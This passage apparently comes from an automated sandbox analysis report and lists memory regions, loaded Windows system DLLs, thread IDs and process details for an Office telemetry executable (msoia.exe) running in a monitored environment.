	            name = "private_0x0000000003b90000"
	        filename = ""

Region:
	              id = 2470
	        start_va = 0x7fef70f0000
	          end_va = 0x7fef70f7fff
	     entry_point = 0x7fef70f0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 2471
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7218fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")

Region:
	              id = 2472
	        start_va = 0x7fef7220000
	          end_va = 0x7fef7234fff
	     entry_point = 0x7fef7220000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")

Region:
	              id = 2473
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 2474
	        start_va = 0x3c90000
	          end_va = 0x3e8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003c90000"
	        filename = ""

Region:
	              id = 2475
	        start_va = 0x3fe0000
	          end_va = 0x40dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fe0000"
	        filename = ""

Region:
	              id = 2476
	        start_va = 0x7fef71f0000
	          end_va = 0x7fef71fafff
	     entry_point = 0x7fef71f0000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")

Region:
	              id = 2477
	        start_va = 0x7fefacf0000
	          end_va = 0x7fefad42fff
	     entry_point = 0x7fefacf0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 2478
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 2479
	        start_va = 0x1c0000
	          end_va = 0x1c1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001c0000"
	        filename = ""

Region:
	              id = 2480
	        start_va = 0x4270000
	          end_va = 0x42effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004270000"
	        filename = ""

Region:
	              id = 2481
	        start_va = 0x7fefca20000
	          end_va = 0x7fefca76fff
	     entry_point = 0x7fefca20000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 2482
	        start_va = 0x7fefce00000
	          end_va = 0x7fefce21fff
	     entry_point = 0x7fefce00000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 2483
	        start_va = 0x7fefce30000
	          end_va = 0x7fefce7dfff
	     entry_point = 0x7fefce30000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 2484
	        start_va = 0x7fefc8d0000
	          end_va = 0x7fefc91bfff
	     entry_point = 0x7fefc8d0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 2485
	        start_va = 0x3770000
	          end_va = 0x386ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003770000"
	        filename = ""

Region:
	              id = 2486
	        start_va = 0x3ea0000
	          end_va = 0x3f9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003ea0000"
	        filename = ""

Region:
	              id = 2487
	        start_va = 0x42f0000
	          end_va = 0x46effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042f0000"
	        filename = ""

Region:
	              id = 2488
	        start_va = 0x7fefc720000
	          end_va = 0x7fefc73afff
	     entry_point = 0x7fefc720000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 2489
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 2490
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 2543
	        start_va = 0x7fefb790000
	          end_va = 0x7fefb7c4fff
	     entry_point = 0x7fefb790000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 2544
	        start_va = 0x7fefc2e0000
	          end_va = 0x7fefc30bfff
	     entry_point = 0x7fefc2e0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2545
	        start_va = 0x7fefd450000
	          end_va = 0x7fefd469fff
	     entry_point = 0x7fefd450000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 2546
	        start_va = 0x7fefead0000
	          end_va = 0x7fefeca6fff
	     entry_point = 0x7fefead0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")


Thread:
	id = 200
	os_tid = 0x748


Thread:
	id = 203
	os_tid = 0x9f8


Thread:
	id = 206
	os_tid = 0x968


Thread:
	id = 208
	os_tid = 0x964


Thread:
	id = 209
	os_tid = 0xb20


Thread:
	id = 211
	os_tid = 0xb28


Thread:
	id = 212
	os_tid = 0xb24


Thread:
	id = 214
	os_tid = 0x988


Thread:
	id = 215
	os_tid = 0xaf8


Thread:
	id = 217
	os_tid = 0x2ac


Thread:
	id = 218
	os_tid = 0x494


Thread:
	id = 222
	os_tid = 0x448


Thread:
	id = 223
	os_tid = 0x7cc


Thread:
	id = 224
	os_tid = 0x5f0


Thread:
	id = 225
	os_tid = 0x340


Thread:
	id = 226
	os_tid = 0x12c


Process:
	id = "15"
	image_name = "msoia.exe"
	filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"
	page_root = "0x3132c000"
	os_pid = "0x5b8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0x84c"
	cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ee00" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 2134
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2135
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2136
	        start_va = 0x70000
	          end_va = 0x16ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000070000"
	        filename = ""

Region:
	              id = 2137
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2138
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2139
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2140
	        start_va = 0x13f2e0000
	          end_va = 0x13f621fff
	     entry_point = 0x13f2e0000
	     region_type = mapped_file
	            name = "msoia.exe"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe")

Region:
	              id = 2141
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2142
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2143
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 2144
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2145
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2146
	        start_va = 0x1c0000
	          end_va = 0x2bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001c0000"
	        filename = ""

Region:
	              id = 2147
	        start_va = 0x2c0000
	          end_va = 0x326fff
	     entry_point = 0x2c0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2148
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2149
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2150
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2151
	        start_va = 0x7fef7c60000
	          end_va = 0x7fef7e99fff
	     entry_point = 0x7fef7c60000
	     region_type = mapped_file
	            name = "appvisvsubsystems64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")

Region:
	              id = 2152
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2153
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2154
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000040000"
	        filename = ""

Region:
	              id = 2155
	        start_va = 0x50000
	          end_va = 0x50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 2156
	        start_va = 0x330000
	          end_va = 0x42ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000330000"
	        filename = ""

Region:
	              id = 2157
	        start_va = 0x470000
	          end_va = 0x47ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000470000"
	        filename = ""

Region:
	              id = 2158
	        start_va = 0x480000
	          end_va = 0x607fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000480000"
	        filename = ""

Region:
	              id = 2159
	        start_va = 0x610000
	          end_va = 0x790fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000610000"
	        filename = ""

Region:
	              id = 2160
	        start_va = 0x7a0000
	          end_va = 0x1b9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007a0000"
	        filename = ""

Region:
	              id = 2161
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2162
	        start_va = 0x7fef7a70000
	          end_va = 0x7fef7c59fff
	     entry_point = 0x7fef7a70000
	     region_type = mapped_file
	            name = "c2r64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")

Region:
	              id = 2163
	        start_va = 0x7fef9b10000
	          end_va = 0x7fef9b12fff
	     entry_point = 0x7fef9b10000
	     region_type = mapped_file
	            name = "api-ms-win-crt-utility-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll")

Region:
	              id = 2164
	        start_va = 0x7fef9b20000
	          end_va = 0x7fef9b22fff
	     entry_point = 0x7fef9b20000
	     region_type = mapped_file
	            name = "api-ms-win-crt-environment-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll")

Region:
	              id = 2165
	        start_va = 0x7fef9b30000
	          end_va = 0x7fef9b32fff
	     entry_point = 0x7fef9b30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-filesystem-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll")

Region:
	              id = 2166
	        start_va = 0x7fef9b40000
	          end_va = 0x7fef9b42fff
	     entry_point = 0x7fef9b40000
	     region_type = mapped_file
	            name = "api-ms-win-crt-time-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll")

Region:
	              id = 2167
	        start_va = 0x7fef9b50000
	          end_va = 0x7fef9b54fff
	     entry_point = 0x7fef9b50000
	     region_type = mapped_file
	            name = "api-ms-win-crt-multibyte-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll")

Region:
	              id = 2168
	        start_va = 0x7fef9b60000
	          end_va = 0x7fef9b64fff
	     entry_point = 0x7fef9b60000
	     region_type = mapped_file
	            name = "api-ms-win-crt-math-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll")

Region:
	              id = 2169
	        start_va = 0x7fef9b70000
	          end_va = 0x7fef9b72fff
	     entry_point = 0x7fef9b70000
	     region_type = mapped_file
	            name = "api-ms-win-crt-locale-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll")

Region:
	              id = 2170
	        start_va = 0x7fef9b80000
	          end_va = 0x7fef9c1bfff
	     entry_point = 0x7fef9b80000
	     region_type = mapped_file
	            name = "msvcp140.dll"
	        filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll")

Region:
	              id = 2171
	        start_va = 0x7fef9c20000
	          end_va = 0x7fef9c23fff
	     entry_point = 0x7fef9c20000
	     region_type = mapped_file
	            name = "api-ms-win-crt-convert-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll")

Region:
	              id = 2172
	        start_va = 0x7fef9c30000
	          end_va = 0x7fef9c33fff
	     entry_point = 0x7fef9c30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-stdio-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll")

Region:
	              id = 2173
	        start_va = 0x7fef9c40000
	          end_va = 0x7fef9c42fff
	     entry_point = 0x7fef9c40000
	     region_type = mapped_file
	            name = "api-ms-win-crt-heap-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll")

Region:
	              id = 2174
	        start_va = 0x7fef9c50000
	          end_va = 0x7fef9c53fff
	     entry_point = 0x7fef9c50000
	     region_type = mapped_file
	            name = "api-ms-win-crt-string-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll")

Region:
	              id = 2175
	        start_va = 0x7fef9c60000
	          end_va = 0x7fef9c62fff
	     entry_point = 0x7fef9c60000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll")

Region:
	              id = 2176
	        start_va = 0x7fef9c70000
	          end_va = 0x7fef9c72fff
	     entry_point = 0x7fef9c70000
	     region_type = mapped_file
	            name = "api-ms-win-core-processthreads-l1-1-1.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll")

Region:
	              id = 2177
	        start_va = 0x7fef9c80000
	          end_va = 0x7fef9c82fff
	     entry_point = 0x7fef9c80000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 2178
	        start_va = 0x7fef9c90000
	          end_va = 0x7fef9c92fff
	     entry_point = 0x7fef9c90000
	     region_type = mapped_file
	            name = "api-ms-win-core-localization-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll")

Region:
	              id = 2179
	        start_va = 0x7fef9ca0000
	          end_va = 0x7fef9ca2fff
	     entry_point = 0x7fef9ca0000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l2-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll")

Region:
	              id = 2180
	        start_va = 0x7fef9cb0000
	          end_va = 0x7fef9cb2fff
	     entry_point = 0x7fef9cb0000
	     region_type = mapped_file
	            name = "api-ms-win-core-timezone-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll")

Region:
	              id = 2181
	        start_va = 0x7fef9cc0000
	          end_va = 0x7fef9db1fff
	     entry_point = 0x7fef9cc0000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")

Region:
	              id = 2182
	        start_va = 0x7fef9dc0000
	          end_va = 0x7fef9dc3fff
	     entry_point = 0x7fef9dc0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-runtime-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll")

Region:
	              id = 2183
	        start_va = 0x7fef9dd0000
	          end_va = 0x7fef9de5fff
	     entry_point = 0x7fef9dd0000
	     region_type = mapped_file
	            name = "vcruntime140.dll"
	        filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll")

Region:
	              id = 2184
	        start_va = 0x7fefc740000
	          end_va = 0x7fefc75dfff
	     entry_point = 0x7fefc740000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2185
	        start_va = 0x7fefd3a0000
	          end_va = 0x7fefd3aefff
	     entry_point = 0x7fefd3a0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2186
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2187
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2188
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2189
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2190
	        start_va = 0x7fefdcc0000
	          end_va = 0x7fefea47fff
	     entry_point = 0x7fefdcc0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 2191
	        start_va = 0x7fefecb0000
	          end_va = 0x7fefed20fff
	     entry_point = 0x7fefecb0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2192
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2193
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2194
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2195
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2196
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2197
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2198
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2260
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 2261
	        start_va = 0x170000
	          end_va = 0x176fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 2262
	        start_va = 0x180000
	          end_va = 0x181fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000180000"
	        filename = ""

Region:
	              id = 2263
	        start_va = 0x1ba0000
	          end_va = 0x1e6efff
	     entry_point = 0x1ba0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2264
	        start_va = 0x1e70000
	          end_va = 0x2262fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001e70000"
	        filename = ""

Region:
	              id = 2265
	        start_va = 0x37490000
	          end_va = 0x3749ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000037490000"
	        filename = ""

Region:
	              id = 2266
	        start_va = 0x7febd6b0000
	          end_va = 0x7febd6bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007febd6b0000"
	        filename = ""

Region:
	              id = 2325
	        start_va = 0x190000
	          end_va = 0x190fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000190000"
	        filename = ""

Region:
	              id = 2326
	        start_va = 0x1a0000
	          end_va = 0x1a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001a0000"
	        filename = ""

Region:
	              id = 2327
	        start_va = 0x7fef97f0000
	          end_va = 0x7fef9b05fff
	     entry_point = 0x7fef97f0000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 2328
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2361
	        start_va = 0x1b0000
	          end_va = 0x1b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001b0000"
	        filename = ""

Region:
	              id = 2362
	        start_va = 0x430000
	          end_va = 0x430fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000430000"
	        filename = ""

Region:
	              id = 2363
	        start_va = 0x2270000
	          end_va = 0x236ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002270000"
	        filename = ""

Region:
	              id = 2364
	        start_va = 0x23d0000
	          end_va = 0x244ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023d0000"
	        filename = ""

Region:
	              id = 2365
	        start_va = 0x2450000
	          end_va = 0x252efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002450000"
	        filename = ""

Region:
	              id = 2366
	        start_va = 0x2530000
	          end_va = 0x262ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002530000"
	        filename = ""

Region:
	              id = 2367
	        start_va = 0x2630000
	          end_va = 0x272ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002630000"
	        filename = ""

Region:
	              id = 2368
	        start_va = 0x27f0000
	          end_va = 0x28effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000027f0000"
	        filename = ""

Region:
	              id = 2369
	        start_va = 0x28f0000
	          end_va = 0x29effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000028f0000"
	        filename = ""

Region:
	              id = 2370
	        start_va = 0x2b10000
	          end_va = 0x2c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b10000"
	        filename = ""

